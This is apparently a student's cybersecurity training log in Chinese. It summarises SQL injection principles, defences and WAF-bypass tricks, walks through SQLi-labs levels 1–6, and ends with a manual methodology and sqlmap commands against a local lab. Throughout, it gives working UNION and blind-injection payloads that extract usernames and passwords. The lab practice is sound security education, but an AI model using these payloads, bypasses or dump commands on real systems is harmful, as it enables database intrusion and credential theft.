网安实训Day5
1. SQL注入总结
SQL注入原理
SQL注入(SQL Injection)是一种攻击方式,攻击者通过向应用程序提交恶意构造的SQL语句,从而影响数据库的执行结果。SQL注入通常发生在应用程序未对用户输入进行充分验证或转义时,直接将用户输入嵌入到SQL查询中。
攻击目标:
- 读取敏感数据
- 修改数据库数据
- 执行数据库命令
- 规避身份认证
- 破坏数据完整性
SQL注入常用函数及含义
UNION
:将多个SELECT语句的结果合并为一个结果集。SELECT
:从数据库中检索数据。AND/OR
:构造条件判断,常用于布尔型注入。CONCAT()
:将多个字符串连接在一起。IF()
:条件判断函数,根据条件返回不同的值。SLEEP()
:用于时间盲注,延迟操作以判断条件真假。--
:SQL注释符,用于注释掉SQL语句中多余的部分。INFORMATION_SCHEMA
:系统数据库,用于枚举数据库、表和列信息。
SQL注入防御手段
- 使用预编译语句(Prepared Statements):避免将用户输入直接嵌入SQL查询。
- 输入验证:严格验证用户输入,限制输入的字符类型和长度。
- 输出转义:对数据进行转义,避免直接嵌入HTML中。
- 最小化数据库权限:限制应用程序的数据库权限。
- 使用WAF(Web Application Firewall):检测和拦截SQL注入攻击。
- 安全编码规范:遵循安全编码实践,定期审计和测试代码。
SQL注入常用绕过WAF的方法
- 注释符混淆:使用不同的注释符如
/**/
或%23
。 - 大小写混淆:混合使用大小写来绕过规则匹配。
- 字符编码:使用URL编码、Unicode编码等方式混淆SQL语句。
- 逻辑运算符替换:使用不同的逻辑运算符替换,如
&&
代替AND
。 - 子查询嵌套:将SQL语句嵌套在子查询中。
- 分段攻击:将SQL语句分割成多段进行多次请求。
- 使用时延函数:利用
SLEEP()
等函数进行时间盲注。
2. SQLi-labs通关前5关解题步骤
1. 关卡 1
输入1'
查看回显,发现是单引号闭合
在后面添加--+
注释掉后面的LIMIT,让语句可以正常执行
使用order by
语句。采用二分法确定有3列
使用联合查询 union select
并将id值改为-1,使其不影响查询结果。然后根据回显判断注入点2,3
使用database()
函数获得当前的数据库名security
使用UNION SELECT 1, GROUP_CONCAT(table_name), 3 FROM information_schema.tables WHERE table_schema='security'
语句获得该数据库的表名
根据表的名字,可以大胆猜测用户的相关信息在users表中,使用union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
语句,获取users表中的列名
使用union select 1,group_concat(concat_ws(':',username,password)),3 from security.users
获取到用户名和密码,并用:
连接起来
2. 关卡 2
输入1\
发现是数字类型
使用--+
注释掉LIMIT,剩下的与第一关差不多,只是要把单引号'
去掉
3. 关卡 3
输入1\
发现是')
闭合
--+
注释掉后面的LIMIT
剩下的与第一关一致,只是需要把'
改为')
4. 关卡 4
老样子输入1\
,根据回显判断出是")
闭合
用--+
注释掉后面的内容
剩下的与第一关一致,只是需要把'
改为")
5. 关卡 5
输入1\
判断是单引号闭合
用--+
注释掉后面的内容
用order by
语句看看有多少列
这里的回显内容可以知道sql语句执行成功,但是得不到其他的信息,尝试用and
连接两个判断,来推断数据库名的长度为8
得到数据库的长度后,使用burpsuit抓包,爆破一下数据库的名字
发送到Inruder模块,并添加payload位置
添加payload集
攻击得到数据库名security
使用length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>正整数
语句来判断表的名字长度为28
使用1' and SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a' --+
语句,并用burpsuit抓包进行爆破,具体步骤可以参考上述爆破数据库名
发现表名:emailes,referes,uagents,users
,猜测用户信息应该在users
表中,接下来判断列名长度为20
使用and SUBSTRING((select group_concat(column_name) from information_schema.tables where table_schema='security' and table_name='uses'),1,1)='a' --+
语句,并用burpsuit抓包进行爆破,具体步骤可以参考上述爆破数据库名
获得列名:id,username,password
,获取字段长度and length((select group_concat(concat_ws(':',username,password)) from security.users))>1
为188
使用1' and SUBSTRING((select group_concat(concat_ws(':',username,password)) from security.users),1,1)='D'--+
与上述爆破数据库名相同的手段得到结果,下面是用python脚本实现的bp
3. 手工SQL注入步骤总结
1. 识别注入点
1.1 寻找输入点
首先,确定可能存在注入点的输入区域。这些输入区域通常包括:
- URL参数
- 表单输入字段
- Cookie
- HTTP头信息
1.2 尝试注入基础语句
在可疑的输入点输入以下常见的测试字符以检测SQL注入的可能性:
- 单引号:
'
- 双引号:
"
- 括号:
())
- 逻辑操作符:
AND 1=1
,OR 1=1
观察返回的错误信息或响应变化,以判断是否存在注入点。
2. 确定数据库类型
通过使用特定数据库的函数或语句来推测后台数据库的类型。例如:
SELECT @@version;
可用于MySQLSELECT version();
可用于PostgreSQLSELECT @@version;
可用于SQL Server
3. 构造基础注入
3.1 单引号闭合
使用单引号闭合原始查询:
- 原始查询:
?id=1
- 注入查询:
?id=1'
3.2 使用UNION SELECT
进行数据提取
使用 UNION SELECT
联合查询来尝试从其他表中获取数据:
- 基本语句:
UNION SELECT 1,2,3--+
- 逐步调整列数和数据类型直到查询成功
4. 确定列数
利用 ORDER BY
语句逐列增加,或使用 UNION SELECT
来确定返回的列数:
ORDER BY 1--
ORDER BY 2--
- 继续增加,直到出错,前一个成功的数字就是列数。
5. 确定可用列
使用 UNION SELECT
来确定哪些列可以显示数据:
- 例如:
UNION SELECT 1,2,3--
- 观察哪个位置的列显示了数据,确定可以插入有效载荷的列。
6. 获取数据库信息
6.1 获取数据库名称
SELECT database();
获取当前数据库名。
6.2 获取表名
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database();--
6.3 获取列名
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='table_name';--
6.4 获取数据
- 使用已知的表名和列名来获取数据:
UNION SELECT 1,group_concat(column1,':',column2),3 FROM table_name;--
7. 绕过防火墙和过滤机制
7.1 绕过WAF
- 使用注释:
/*comment*/
- 字符编码:将关键字进行URL编码,如
%20
替换空格 - 使用双写:
SELECTSELECT
替代SELECT
7.2 使用延时注入
- 利用
SLEEP()
函数来检测盲注点:- MySQL:
SLEEP(5)
- SQL Server:
WAITFOR DELAY '00:00:05'
- MySQL:
8. 探索并提取敏感信息
利用SQL注入进一步探索并提取敏感信息,如用户名、密码、电子邮件等。通过手工构造查询获取这些数据。
4. 使用sqlmap通过或验证第六关
执行命令python sqlmap.py -u http://127.0.0.1:7777/Less-6/?id=1
扫描一下目标网站
执行命令python sqlmap.py -u http://127.0.0.1:7777/Less-6/?id=1 --dbs
获得数据库名
执行命令python sqlmap.py -u http://127.0.0.1:7777/Less-6/?id=1 -D"security" --tables
获得数据库中的表名
执行命令python sqlmap.py -u http://127.0.0.1:7777/Less-6/?id=1 -D"security" -T"users" --columns
获得数据库中的表名
执行命令python sqlmap.py -u http://127.0.0.1:7777/Less-6/?id=1 -D"security' -T"users" -C"username,password" --dump
获得数据库中users表的内容